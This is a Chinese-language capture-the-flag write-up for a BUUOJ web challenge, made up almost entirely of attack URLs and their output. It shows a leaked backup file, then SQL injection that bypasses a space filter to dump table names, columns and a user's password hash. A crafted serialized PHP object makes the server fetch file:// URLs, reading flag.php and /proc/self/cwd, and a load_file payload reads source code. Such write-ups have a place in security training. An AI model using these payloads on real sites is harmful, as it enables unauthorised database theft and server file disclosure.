-
文件泄露
user.php.bak
http://41883a16-5c35-4b04-a04f-897cfee192b5.node3.buuoj.cn/user.php.bak
在其中发现curl
-
sql注入
http://41883a16-5c35-4b04-a04f-897cfee192b5.node3.buuoj.cn/view.php?no=1'
字段数
http://41883a16-5c35-4b04-a04f-897cfee192b5.node3.buuoj.cn/view.php?no=1 order by 4 --+
http://41883a16-5c35-4b04-a04f-897cfee192b5.node3.buuoj.cn/view.php?no=1 order by 5 --+
存在waf过滤 过滤空格
http://41883a16-5c35-4b04-a04f-897cfee192b5.node3.buuoj.cn/view.php?no=-1/**/uNion/**/sElect/**/1,2,3,4--+
爆数据库
http://41883a16-5c35-4b04-a04f-897cfee192b5.node3.buuoj.cn/view.php?no=-1/**/uNion/**/sElect/**/1,database(),3,4--+
爆表
http://41883a16-5c35-4b04-a04f-897cfee192b5.node3.buuoj.cn/view.php?no=-1/**/uNion/**/sElect/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3,4--+
爆字段
http://41883a16-5c35-4b04-a04f-897cfee192b5.node3.buuoj.cn/view.php?no=-1/**/uNion/**/sElect/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users'),3,4--+
//no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
注入数据
http://41883a16-5c35-4b04-a04f-897cfee192b5.node3.buuoj.cn/view.php?no=-1/**/uNion/**/sElect/**/1,(select/**/group_concat(no,username,passwd,data)/**/from/**/users),3,4--+
//1wen877c8d1c431504fb99fec6c4ba67d927434f252845ea4308d77d5131353c31f5b18f2f26eac641903953ab0b679c5e92b0cb83af6a576a745cb78363dcd1b8e2O:8:"UserInfo":3:{s:4:"name";s:3:"wen";s:3:"age";i:111;s:4:"blog";s:16:"http://baidu.com";}
发现data的数据为序列化存储。我们直接select 第四个位置,放入我们的payload,但是需要用单引号!!!
骚操作1
http://2e6784a7-9d31-4c19-88f6-abeedad8b01d.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"wen";s:3:"age";i:111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
查看源代码base64解密
$flag = "flag{07afbbfd-77b4-411c-9d45-3586c9f106cf}";
姿势2
proc/self知识
view-source:http://2e6784a7-9d31-4c19-88f6-abeedad8b01d.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"wen";s:3:"age";i:111;s:4:"blog";s:30:"file:///proc/self/cwd/flag.php";}'--+
//src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3swN2FmYmJmZC03N2I0LTQxMWMtOWQ0NS0zNTg2YzlmMTA2Y2Z9IjsNCmV4aXQoMCk7DQo='></div>
姿势3 非预期
现在环境关了
/view.php?no=-1/**/union/**/select/**/1,load_file(%27/var/www/html/view.php%27),3,4--+